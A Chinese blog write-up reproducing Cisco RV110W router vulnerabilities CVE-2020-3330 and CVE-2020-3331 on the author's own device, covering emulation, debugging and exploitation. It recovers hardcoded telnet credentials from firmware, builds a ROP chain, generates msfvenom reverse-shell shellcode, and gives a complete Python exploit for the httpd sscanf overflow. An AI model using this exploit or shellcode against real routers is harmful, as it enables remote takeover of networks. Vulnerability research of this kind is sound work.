71's blog

宏願縱未了 奮鬥總不太晚

0%

CVE复现 | CiscoRV110W CVE2020-3330/3331

telnet弱口令+sscanf栈溢出漏洞

准备工作

漏洞信息

有师傅对 RV 110w 出现过的漏洞都进行了复现:wzt:Cisco RV110W 数个漏洞

整理如下,除此之外还能在 CISCO官网找到更多。

CVE编号 影响型号 漏洞简述 修复版本
CVE-2019-1663 RV110w, RV130w, RV215w 管理接口远程命令执行漏洞:httpd服务对用户提交的数据验证不严格,strcpy栈溢出,可实现任意代码执行。 (110w)1.2.2.8/(130w)1.0.3.51
CVE-2020-3144 RV110w, RV130, RV130w, RV215w 身份认证绕过漏洞,对session的管理存在问题,可构造特殊格式的 HTTP 请求触发漏洞,获取管理员权限。 (110w)1.2.2.8
CVE-2020-3145/3146 RV110w, RV130, RV130w, RV215w 管理接口远程命令执行漏洞:对用户提交的数据验证不严格,sprintf栈溢出,可实现任意代码执行。(后台漏洞,价值不大) (110w)1.2.2.8
CVE-2020-3150 RV110w, RV215w http请求授权不当漏洞:有效用户打开过设备文件后,攻击者可访问web管理界面的特定URI二次访问。 (110w)1.2.2.8
CVE-2020-3323 RV110w, RV130, RV130w, RV215w 管理接口远程命令执行漏洞:httpd服务对用户提交的数据验证不严格,strlen空指针引用、sscanf栈溢出,可实现任意代码执行。 (110w)1.2.2.8
CVE-2020-3330 RV110w telnet服务远程登陆漏洞:默认账户静态密码 (110w)1.2.2.8
CVE-2020-3331 RV110w, RV215w sscanf函数栈溢出漏洞 (110w)1.2.2.8
CVE-2021-34730 RV110w, RV130, RV130w, RV215w 管理接口远程命令执行漏洞:upnp服务对用户提交的数据验证不严格,strcpy栈溢出,可实现任意代码执行。 (110w)1.2.2.8
  • 栈溢出(bin):2019-1663、2020-3145/3146、2020-3323、2020-3331、2021-34730
  • 认证绕过(web):2020-3144、2020-3150
  • 弱密码:2020-3330

大半是栈溢出漏洞,而且都是存在httpd服务中。从影响设备上来看,RV 110w 都有这些漏洞,RV 130w 和RV 215w 基本上都有。对于 RV 110w 来说,应该大部分漏洞都在最终版 1.2.2.8 中修复了,不过旧的版本都能下载。如果在比赛时拿到了一个旧版本的 bin 文件,如何确定它存在的是哪些漏洞呢,或者说如何快速确定到有漏洞的文件、函数,轩哥这篇博客的思路写得很清晰了: 思科路由器 RV110W CVE-2020-3331 漏洞复现

网上找到的复现博客都是 RV 110w 或 RV 130w 。那 RV 120w 呢?很可惜它是一款 EOL(End of Life)的产品。目前 RV 110w 和 RV 130w 只是停止销售,还没 EOL,官方的终止支持日期是 2024年。关于它们的区别我们可以直接看 data sheet:

我个人觉得区别不大,简单来说就是:

  • 130w 支持千兆,110w 和 120w 都是百兆网口。
  • 120w 更适合多个 VPN 的场景,130w 更适合企业或偏远地区(稳定性更强)。
  • 130w 增加了些安全设置,提供的服务相对来说更多些。

RV120w 的停售和终止支持的时间都比 110w、130w 的早四年,也许这就是它 CVE 少的原因之一?通过 CVECISCO 官网搜集到的信息如下:

CVE编号 影响型号 漏洞简述 修复版本
CVE-2014-2177 RV120w, RV220w, RV180/180w 网络诊断管理界面中存在命令注入漏洞 (120w)1.0.5.9
CVE-2014-2178 RV120w, RV220w, RV180/180w Web界面中的 CSRF 漏洞,远程攻击者可劫持身份验证管理员 (120w)1.0.5.9
CVE-2014-2179 RV120w, RV220w, RV180/180w 文件任意上传漏洞 (120w)1.0.5.9

全是 Web 高危漏洞,都在最终版本中修复了。看来 120w 漏洞的复现不太适合我,后面有时间再补上吧emm,不过 120w 的固件也许可以拿来与 110w 和 130w 的进行对比。130w的漏洞复现会在下一篇博客中补上。

qemu 模拟

参考博客🧠:

qemu-system

要注意 110w 是 MIPS架构,130w 是 ARM 架构。对应的 images 都可以从 debian 上下载:

大小端、32/64位 对应用的镜像都不同,具体看readme。比如 32 位的 MIPS 大端架构,用的是下面这个组合:

en,如果点击文件后没下载,换个浏览器试试🤦‍♀️。这些文件最后修改的时间都是2013、2014年,估计这网站也比较老,也许跟版本新一些的浏览器有点不兼容。

放到同一个文件夹中,再写一个 run.sh:(这是在 hws 上课时旁边的一个大师傅写的,当时看不懂,但用着不会报错,直接用就好了,万分感谢🙏)

1
2
3
4
5
6
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0
sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

这里涉及到些通信知识,学完计网的我才理解好emm。前面四条指令是添加虚拟网卡,目的是使 debian 虚拟机和宿主机通信,所以虚拟机启动以后配置的 ip 和我们添加的虚拟网卡必须在同一个网段。(不通信怎么上传文件和调试啊,必须配好这些 ip )如果添加完后,又开了一次虚拟机,换张 tap 网卡就可以了。

剩下的一条是 qemu system 的启动命令,参数大概是指定了镜像文件、内核启动的附加参数、创建什么设备等,具体可以查手册。

启动后可以看到 debian 中的 eth0 网卡是没有配置 ip 的:

配置前先确保 eth0 允许启动:

(补—— lo 是 Loop 的意思,本地回环网卡,也就是 0.0.0.0 或 127.0.0.1,跟自己通信;eth 是 Ethernet的意思,以太网卡,所以跟外部通信我们需要看 eth0 网卡。)

1
2
3
4
5
6
7
8
9
10
11
root@debian-mips:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet dhcp

接下来配同一个网段的 ip 就ok了。可以用 ssh 或者 ping 来测试是否能通信。

1
root@debian-mips:~# ifconfig eth0 192.168.122.3 up

一般应该都是在本地上传固件的文件系统到指定路径,再在 debian 中更换目录后运行启动脚本。

1
scp -r ./squashfs-root root@192.168.122.3:/root/

那么为什么需要用全系统模拟模式来运行,而不用用户模式呢?

QEMU手册 我们可以找到答案:用户模式对动态链接的可执行文件的运行不太支持,有时候如果有对应的动态库,可以用 -L 设定。而全系统模式虽然支持,但正因为它模拟的是完整的系统,还包括处理器、外设等,它的运行速度会比用户模式慢。

通过漏洞信息搜集我们知道,这个 CVE 漏洞在 httpd 服务中。但是在实际的场景下,我们需要通过检索固件中的关键信息、扫描端口进行分析、流量抓取、调试等手段才能定位到存在漏洞的地方,我把这一部分留到后面的真机实验再做。因为 RV 110w 没买到真机,这里用 qemu-system 进行模拟。

注意镜像要换成 mipsel。这从解压出来的文件系统中随便拉个可执行文件出来 file 一下就知道了。

1
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

不过同一个环境下,我的 qemu-system-mips 能起,qemu-system-mipsel 倒是卡住了emm。找到这篇《 Qemu-system-mips stuck after “console tty0 enabled” 》的 answer 后,将 console 参数改成了 ttyS0,也就是将内核进一步的输出也发送到串行端口上,这也是镜像网站上所建议的做法。之后打印出 Unable to mount root fs on unknown-block... 的错误信息。排除了是内存不够的问题后,猜测是内核崩溃问题。更新自己的内核版本,再启动就正常了… 现在用的是(ubuntu 18.04):

1
2
ch331n@ubuntu:~/cs/iot/debian/mipsel$ uname -r
4.15.0-158-generic

mount

很重要的挂载步骤。因为 qemu-system 启动的天生缺少 /proc,如果不挂载上去, ps 查看进程是空的,找不到目标程序的 pid,也不能用 gdbserver attach了。emm,其实如果目标程序直接运行就可以的话,应该可以用 gdberver 一条命令启动调试的。但是这里先需要 LD_PRELOAD 一个 so 文件(后面会提到),用 attach 的方式调试好一些。

1
2
3
mount -o bind /dev ./dev/
mount -t proc /proc/ ./proc/
chroot . sh

nvram

先运行看看目标文件,这里以 httpd 为例:

1
2
3
4
5
6
7
8
9
10
11
root@debian-mipsel:~/cve-2020-3331# chroot squashfs-root sh
BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ls
bin data dev etc lib mnt proc sbin sys tmp usr var www
# cd usr/sbin
# ./httpd
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory

en,为什么它会访问 NVRAM 呢🤔 是我孤陋寡闻了,它就是非易失性存取存储器,也是我们常说的断电后能保留数据信息的存储器。找到这篇《NVRAM是什么?为什么对黑苹果重要?》,看完大概了解它的重要性了。btw,关于易失、非易失的原理区别可以自行了解下:不同类别存储器的基本原理RRAM 等。简单来说就是看它容不容易漏电,RAM的电容很小、容易漏、可以通过上电刷新;NVM 就是在电子器件层面通过加电压等方法,使它不易漏电、能保存信息。

所以这些 Web 服务程序在启动的时候,会先访问 nvram 中存储的数据,还原之前做过的配置。可是为什么会找不到呢? 显然目前我们用 qemu 模拟的环境下,没有它需要的 nvram。也不能直接拷个 nvram 进去吧,数据错了可能会影响到后续程序的利用。简单粗暴些,不让它从 /dev/nvram 找数据。不过这应该只是用 qemu 模拟嵌入式设备的时候才需要这么做,目的是让目标程序运行。

在 ida 中搜索关键字,定位到 nvram_get 函数,再看它的上一步调用。除了图中的 config_key 外,还有ip、mac等数据都需要从 nvram 中读取。看来也不能完全不让它读数据,否则可能会影响程序运行。

既然如此,这就需要伪造部分重要的数据了。留意到 nvram_get 函数,是从共享库中导入的。我们可以用自己编写的 so 文件,强行 LD_PRELOAD ,拦截 nvram_get 的调用。找到一个可用于劫持 libnvram 库中函数调用的工具:

1
git clone https://github.com/zcutlip/nvram-faker.git

我们需要修改其下的 nvram-faker.c 为我们需要的劫持的函数内容,在 nvram-faker.h 加上对应的函数声明(如果 c 文件中没导入,也可以不写),再用 buildmipsel.sh 交叉编译出新的 so 文件就可以了。

1
2
3
4
s.ch331n@ubuntu:~/tools/nvram-faker$ ls
arch.mk buildmips.sh Makefile nvram-faker-internal.h README.md
buildarm.sh contrib nvram-faker.c nvram_faker_main.c
buildmipsel.sh LICENSE.txt nvram-faker.h nvram.ini

具体 nvram_get 函数要劫持成什么呢?从 init 的地方定位到以下函数,可以看到程序调用 nvram_get 函数,获取了 lan_ifname 的值 ,从字面上来看应该是局域网的网卡。这个 sub_40C400 函数还调用了大量的 nvram_set 函数,猜测是在配置一些环境变量。

我们这里把 lan_ifname 写成回环 ip 就可以了。或者还可以把 lan_proto 写成 static,防止程序启动后默认使用 DHCP 自动分配 ip。不过没有改成静态分配也能运行,还没找到为什么,盲猜是因为这里的 proto 默认为 static emm不知道对不对。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>

char *nvram_get(char *key)
{
char *value = NULL;

if(strcmp(key, "lan_ipaddr") == 0)
{
value = strdup("127.0.0.1");
}
/*
if(strcmp(key, "lan_proto") == 0)
{
value = strdup("static");
}
*/
printf("nvram_get(%s) == %s\n", key, value);
return value;
}

mipsel-linux-gcc

如果之前没有搭建 MIPSEL 的交叉编译环境,这里会编译失败,因为它调用的是 mipsel-linux-gcc。buildmipsel.sh 大概是找了遍跟 mipsel-linux-gcc 相关的环境变量然后调用,路径不对的时候会找不到,可以在里面加上自己的路径,或者直接改成 mipsel-linux-gcc 编译的命令。感觉都挺麻烦,咱不用它。

mipsel-linux-gnu-gcc 也不行。因为我们的编译目标是一个动态链接的文件,其背后的动态库需要是一致的。因此得用 buildroot 的方法自己编译一个,具体原因和方法可以看:Clang裁缝店:IoT安全研究视角的交叉编译。不过我们目前只需要 gcc,等到 buildroot 编译完 gcc 直接中断编译,拿 gcc 来用也行,路径在:./buildroot/output/host/bin/

buildroot 时需要选择跟本机对应的 linux 版本。我原本用的 buildroot 版本是今年8月的最新版,没有 4.15.x 的选项emm,手动选择的选项好像被禁掉了。于是换成了18年5月的版本:https://buildroot.org/downloads/ 。(建议尽量选发布时间跟自己的 ubuntu 发布时间相近的)。这下终于可以了:

不过用 buildmipsel.sh 编译好像还是有点问题。既然它调用的是 mipsel-linux-gcc,我们直接自己手动编译就好了(用它覆盖原本的 sh 文件也行):

1
mipsel-linux-gcc -fPIC -shared nvram-faker.c -o libnvram.so

编译完后上传到文件系统中,再 LD_PRELOAD 运行就成功了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@debian-mipsel:~/cve-2020-3331/squashfs-root# chroot . sh


BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ls
bin proc
data sbin
dev sys
etc tmp
gdbserver-7.7.1-mipsel-mips32-v1 usr
lib var
libnvram.so www
mnt
# export LD_PRELOAD="./libnvram.so" && /usr/sbin/httpd
nvram_get(http_settimeouts) == (null)
nvram_get(http_settimeouts_usec) == (null)
nvram_get(http_debug) == (null)
#

虽然但是,我随机 nmap 扫描了一下,又开始找不到 nvram了。应该是 nmap 的过程中,宿主机向虚拟机的每个端口都发送了数据包,启动了 httpd 中一些需要读取或设置 nvram 中数据的函数,这些函数都是没被我们劫持的,就报错了:

看来虚拟环境还是比较适合直接调试 emmm,扫描的工作还是留到真机实验再做吧。我们的目的是调试、打通它的 CVE 漏洞,不必要的报错能避则避(bushi

gdbserver

说到调试,无论真机还是虚拟环境都需要的,应该就是 gdbserver 了。这里我们用 海特实验室整理的各平台对应的 gdbserver 。跟前面的 so 文件一样,把它上传上去再运行:

1
2
3
4
# ./gdbserver-7.7.1-mipsel-mips32-v1 :1234 /usr/sbin/httpd
Process /usr/sbin/httpd created; pid = 2614
Listening on port 1234
Remote debugging from host 192.168.122.1

这样宿主机的 gdb-multiarch 再remote 过去就可以调试了。上面就是前面说的,直接运行程序的调试方式,在这里不适用。我们 LD_PRELOAD完、程序启动了之后,通过 ps 找到程序 pid,再通过 attach 的方式启动调试:

1
2
3
4
# ./gdbserver-7.7.1-mipsel-mips32-v1 :1235 --attach 2338
Attached; pid = 2338
Listening on port 1235
Remote debugging from host 192.168.122.1

可以看到这时 gdb-multiarch remote后,寄存器中是有值的了:

真机设备

连接

路由器都会有 WAN 口和 LAN 口,连接方式在 快速入门指南 上有说。但是有认证的校园网插入 WAN 口后应该用不了,我试过将插了校园网网线的ip、subnet mask等数据复制到路由器的配置上,同时设置静态ip,也不行(也许可以44破解方式)。不过漏洞点在后台管理界面,用 LAN 口把路由器和电脑连起来就可以了,上不了网不影响我们复现。

一般刚开机或刚连上的时候,路由器还在进行初始化设置。等到出现以下网卡信息,说明已经配置好了,这时访问 192.168.1.1 就能访问到:

因为路由器漏洞大部分都是基于 web 服务,虚拟机跟路由器处于同一个局域网中比较方便测试,因此虚拟机需要采用桥接的方式。最好在关机状态下,先设置 VMnet0 网卡的桥接模式,(选自自动或目标网卡),再在编辑网络适配器的地方选择“桥接模式”。

如果每次设置完 VMnet0,再查看的时候发现设置的是仅主机模式,原因是跟主机网卡有关的设置都需要管理员权限。在VMware属性那里,设置每次启动时都用管理员权限运行就行了。

文件上传

有时候 scp 好使,但它是基于 ssh 服务的,如果真机没有开启就用不了。可以用 web 服务:

1
python -m http.server 或  python -m SimpleHTTPServer

前面是 python3.9 版本的,后面是 python2.7 版本的。

在真机 shell 上下载时注意,要下载到可写的 tmp 目录下,其他目录一般不可写。而且 tmp 目录下新增的文件断电后不保存,每次重启完都得重新上传。

1
2
3
4
5
6
7
# cd /tmp
# wget http://192.168.1.100:8000/gdbserver
Connecting to 192.168.1.100:8000 (192.168.1.100:8000)
gdbserver 100% |*******************************| 1011k --:--:-- ETA
# wget http://192.168.1.100:8000/busybox-mipsel
Connecting to 192.168.1.100:8000 (192.168.1.100:8000)
busybox-mipsel 100% |*******************************| 1539k 00:00:00 ETA

gdb调试

前面提到有两种方式。因为真机中的程序大都是运行中的状态,所以这里用 attach 合适些。这里以运行在 443 端口上的 httpd 程序为例,现在我们需要获取它的进程号。

用 ps 查看进程的时候发现,httpd 相关的有两个 pid,区别是一个有 -S ,另一个没有:

1
2
3
4
# ps | grep httpd
415 admin 6284 S httpd
516 admin 6416 S httpd -S
843 admin 2212 S grep httpd

后续用 netstat 确定带参数的那个才是运行在端口上的程序。

但一开始使用 netstat 的时候是显示不了 pid 的,我们只能看到在 443 端口上的程序正在监听:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# netstat -pantu
netstat: invalid option -- p
BusyBox v1.7.2 (2019-04-22 16:08:01 CST) multi-call binary

Usage: netstat [-laentuwxrW]

Display networking information

Options:
-l Display listening server sockets
-a Display all sockets (default: connected)
-e Display other/more information
-n Don't resolve names
-t Tcp sockets
-u Udp sockets
-w Raw sockets
-x Unix sockets
-r Display routing table
-W Display with no column truncation
# netstat -antu | grep 443
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 :::443 :::* LISTEN

用上传的 busybox 软件去运行,就有 -p 这个参数。应该是路由器上的 busybox 版本比较老,netstat 不支持查看进程 id。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# ./busybox-mipsel netstat -h
netstat: invalid option -- h
BusyBox v1.21.1 (2013-07-08 11:09:23 CDT) multi-call binary.

Usage: netstat [-ral] [-tuwx] [-enWp]

Display networking information

-r Routing table
-a All sockets
-l Listening sockets
Else: connected sockets
-t TCP sockets
-u UDP sockets
-w Raw sockets
-x Unix sockets
Else: all socket types
-e Other/more information
-n Don't resolve names
-W Wide display
-p Show PID/program name for sockets

# ./busybox-mipsel netstat -pantu | grep 443
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 516/httpd
tcp 0 0 :::443 :::* LISTEN 516/httpd

CVE-2020-3331

sscanf 函数中存在栈溢出漏洞,影响的设备是 RV110W,这里复现用的是真机 。

远程登陆

受该漏洞影响的固件版本是 1.2.2.5 ,如果真机设备的版本不对,务必进行固件升级。后续调试需要用 telnet 服务,但是我发现真机原本的 1.2.1.7(大概是这个,记不清了)版本,没有开启 telnet 服务。而且手动设置规则也不能成功开启 23 端口,也许只能通过板子上的串口通信才能拿到 shell 了。

设置好之后,对路由器后台 ip 进行端口扫描,这时候发现 telnet 服务已经开启了:

1
2
3
4
5
6
7
8
9
10
11
12
ch331n@ubuntu:~$ nmap 192.168.1.1
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-09 08:00 PDT
Nmap scan report for 192.168.1.1
Host is up (0.015s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
443/tcp open https
444/tcp open snpp

Nmap done: 1 IP address (1 host up) scanned in 18.91 seconds

账号密码一般是厂家设置的,如果厂家把账密写在了固件的某个文件中,通过逆向还是能找着的。跟这个 CVE 号相邻的还有个 CVE-2020-3330,受影响的是同一个版本的固件,漏洞正是 telnet 弱口令。因此我们借助它找到账密。相关文章:360:一个字节的差错导致Cisco防火墙路由器远程代码执行

从文章 《强网杯2020决赛 ciscoRV110W web服务漏洞复现》发现了个更简单的方式。因为账密的写法是”admin:$(num)$(hash)…”,所以可以通过字符串检索的方式把对应文件中的那一行字符串输出:

1
2
3
$ find . | grep -ri "admin:\\\$"
Binary file squashfs-root/sbin/rc matches
$ strings squashfs-root/sbin/rc | grep "admin:\\\$"

再hash解密就可以了。

漏洞分析

mips-32-little; No RELRO; No canary found; NX diasbled; No PIE

漏洞点在 httpd 文件的 guest_logout_cgi 函数中。关注到下面的这个 sscanf 函数,没有规定数据的长度,存在栈溢出漏洞。而且关于这个函数的漏洞,似乎之前比较常见?前几天绿城杯的 iot 题,出的也是这个漏洞,那道题是 Tenda 路由器 18 年的 CVE。

从 sscanf 的参数类型来看, %[^;];%*[^=]=%[^\n] 这一串是 format 。该函数将第一个参数 str 按照 format 的格式过滤、转换,结果存储到后面的变量参数中。而这段 format 的语法大概就是:

  • % 表示选择,选中的子串会被存储到对应的变量中;**%*** 表示不选择,即过滤、忽略。
  • 一般都是 (start char)+(%/%*)+(end char) ,end char 比 start char 多了一个 [ ] 以作区分。

因此,图中的 format 可以理解为:

  • v29 取 ; 前的全部内容。
  • ; 到第一个 = 的内容不取。
  • v28 取 ='\n' 的全部内容。

也就是如果 v11为 aaa;bbb=ccc\n,则 v29 取的是分号前的 aaa,v28取的是等号后的 ccc

从后面的 fprintf 函数我们可以知道,v29、v28原本对应的是什么变量:

也就是说,正常的 v11应该是一个有url、session_id 的字符串。这也是这路由器路径的约定规则,比如下面的这个就是我登陆完后进入后台 Getting Started 页面时的路径,也符合 sscanf 的过滤规则。

1
https://192.168.1.1/default.asp;session_id=03831c9ff52690156d79daab415c7e81

接下来找触发 sscanf 漏洞的条件。首先是其上的 v11,它是从 “submit_button” 获得的,要求包含 “status_guestnet.asp”,也就是 url 里有这个asp。(补:asp 是动态服务器页面,跟 html 文件类似,它的脚本能直接在服务器上执行,有时一些文件下载的程序也是用 asp 写的)。

1
2
3
4
5
v11 = (const char *)get_cgi("submit_button");
if ( !v11 )
v11 = "";
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;

接着是其上的 v5、v10 的验证,要求它们分别是 MAC 和 IPv4 格式。我们也可以直接用 bp 抓包,复制自己的mac和 ip 地址来用。

1
2
3
4
v5 = (const char *)get_cgi("cmac");
v10 = (const char *)get_cgi("cip");
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{...}

但是这个栈溢出漏洞是在 get 或是 post 方法还不清楚。有一种方法是看代码量,好像一般两种方法的代码量有差异。直接进行发包测试比较直观。

1
2
3
4
5
6
import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"fe:0e:b1:e6:d8:b4","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
# requests.get(url, data=payload, verify=False, timeout=1)
requests.post(url, data=payload, verify=False, timeout=1)

get的时候程序正常。post 的时候已经被覆盖了,程序也直接崩掉,不得不关机重启。

最后用 cyclic 测出偏移是85。

libc 基址

使用 mipsrop.stackfiner() 能在 httpd 中找到 411 条可用的 gadget。注意到这些地址都是 0x00 开头的,由于程序没有开启PIE,这些地址也是程序加载完的地址。但 sscanf 遇 ‘\x00’ 字符会截断,因此这些 gadget 都不能用。

我们希望找到一段地址已知且没有 0x00 的gadget。除了 httpd 程序,也许还有其他的没有开启 PIE 的程序能用。cat proc 看了一下,这些程序的加载基址都是 0x00400000,后面很多地址都一样,但共享库的基址不同。

但是奇怪就奇怪在,每次启动时同一个程序的 libc 基址都没变… 轩哥在博客中给出了一些猜测的原因和验证。

此时路由器内核的地址随机化保护等级是1:

1
2
# cat /proc/sys/kernel/randomize_va_space
1

关于 linux 内核中对 aslr 的规定:

  • 0:关闭地址随机化。不支持随机化的架构以及使用 “norandmaps” 参数启动的内核才会设置。
  • 1:mmap base、stack、VDSO 页地址随机化。也就是共享库、开启 PIE 的文件会加载到随机位置。这也是 CONFIG_COMPAT_BRK 启用时的默认配置。
  • 2:在 1 的基础上启用堆地址随机化(CONFIG_COMPAT_BRK 禁用时的默认配置)。若有古老或损坏的二进制文件,才会启用 CONFIG_COMPAT_BRK,排除堆随机化。

现在的情况是,虽然 aslr 等级是 1,但很明显共享库文件的地址没有随机化,就算是将 aslr 等级修改为 2 也是一样。

留意到 CONFIG_COMPAT_BRK 这个宏,启用时默认配置为1,禁用时配置为2。从 Linux Kernel Driver DataBase: CONFIG_COMPAT_BRK 中找到,这个定义在 init/Kconfig 中的宏,只在 Linux kernels: 2.6.25–2.6.39, 3.0–3.19, 4.0–4.20, 5.0–5.14, 5.15-rc+HEAD 中存在。根据当前路由器的内核版本,我们可以肯定它没有这个宏,因此也无法开启堆随机:

1
2
# uname -a
Linux RV110W 2.6.22 #25 Wed Jul 24 16:11:14 CST 2019 mips unknown

但是 aslr 最开始是在 2005 年的 2.6.12 内核版本中引入的。2.6.22 的版本虽然没有 CONFIG_COMPAT_BRK ,但理论上 1 等级的 aslr 应该是能满足的。也许是版本比较早, aslr 的实现还不是很全面,导致 libc 没能实现地址随机化。搜索 2.6.22 版本找到这篇解释:《How Effective is ASLR on Linux Systems? | Security et alii》。

ASLR 的有效性受可用的熵量的限制,比如 32 位系统提供给ALSR的熵比 64 位的更少。跟早期的 WINDOWS 第三方软件中不参与 ASLR 的 DLL 文件类似,Linux 2.6.22 之前的内核中,VDSO(linux-vdso.so)未能实现随机化,始终位于固定位置。

因此尽管 libc.so.0 开启了 PIE,地址还是固定的。

漏洞利用

从刚刚 cat /proc 的结果来看,httpd 程序加载的libc 地址是 0x2af98000,可以用。我们选择偏移小一点的这个gadget。按 g 跳到对应的函数后,找到 var_20 的值是 -0x20。所以这里是把 $sp+0x18 的地址存到 $a0 中,最后 jmp 到 $s0。

1
2
3
4
5
6
7
8
9
Python>mipsrop.stackfinder()
---------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------
......
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 |
......
--------------------------------------------------------------------------------------------------
Found 32 matching gadgets

由于 httpd 什么保护都没开启,直接返回到栈上执行shellcode 就可以了。我们把 shellcode 写在+0x18的位置,既然存到了 $a0 中,那就找个 jmp 到 $a0 的gadget。因为上一段 gadget 最后会 jalr $s0,覆盖的时候把 $s0 的位置覆盖成下面这段 gadget就可以了,具体偏移也是用 cyclic 测。

1
2
3
|  Address     |  Action                                              |  Control Jump    |
------------------------------------------------------------------------------------------
| 0x0003D050 | move $t9,$a0 | jalr $a0 |

shellcode的话,第一次使用 msfvenom 生成。感觉确实比 shell-storm 的好用,需要修改的地方可以用命令指定,不用手动改。

官网下载后,解压就可以用了:

1
sudo dpkg -i metasploit-framework_6.1.9+20211003102528_1rapid7-1_amd64.deb

使用的时候选择的是反弹shell,指定ip、port、arch、platform 以及文件类型、输出文件名。

1
msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=192.168.1.100 LPORT=34567 --arch mipsle --platform linux -f py -o shellcode.py 

en一般来说,使用桥接网络的话虚拟机的地址也是 192.168.1.x。但我没配置好,使用桥接后网卡虽然显示是以太网卡,但没有自动分配地址,手动分配也连不上网… 使用NAT模式也是可以的,只要他们能互相 ping… 很可惜路由器 ping 不通虚拟机。观察发现从 虚拟机 telnet 路由器,也是从本机 ip 192.168.1.100 出去的。因此这里反弹 shell 的 ip 选的是本机的 ip,只能在本机监听了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from pwn import*
libcbase=0x2af98000
add_a0=libcbase+0x257a0
jmp_a0=libcbase+0x3d050
url = "https://192.168.1.1/guest_logout.cgi"

buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x87\x07\x0e\x3c"
buf += b"\x87\x07\xce\x35\xe4\xff\xae\xaf\x01\x64\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"


payload='a'*49+p32(jmp_a0)+'a'*0x20+p32(add_a0)+'a'*0x18+buf
param= {"cmac":"00:0c:29:59:12:72",
"submit_button":"status_guestnet.asp"+payload,
"cip":"192.168.162.168"}
requests.post(url, data=param, verify=False, timeout=1)

拿到 shell 的时候是在 www 目录下。

这道题目在比赛的时候,除了要求拿到 shell,还需要劫持 DNS,使通过这个路由器访问网站的时候,访问的是我们写的网站。猜测是在本机上运行一个 web 应用,再修改 /etc/hosts 文件如下。具体还得再问问 web 师傅😟

1
192.168.1.100 xxx.xxx.xxx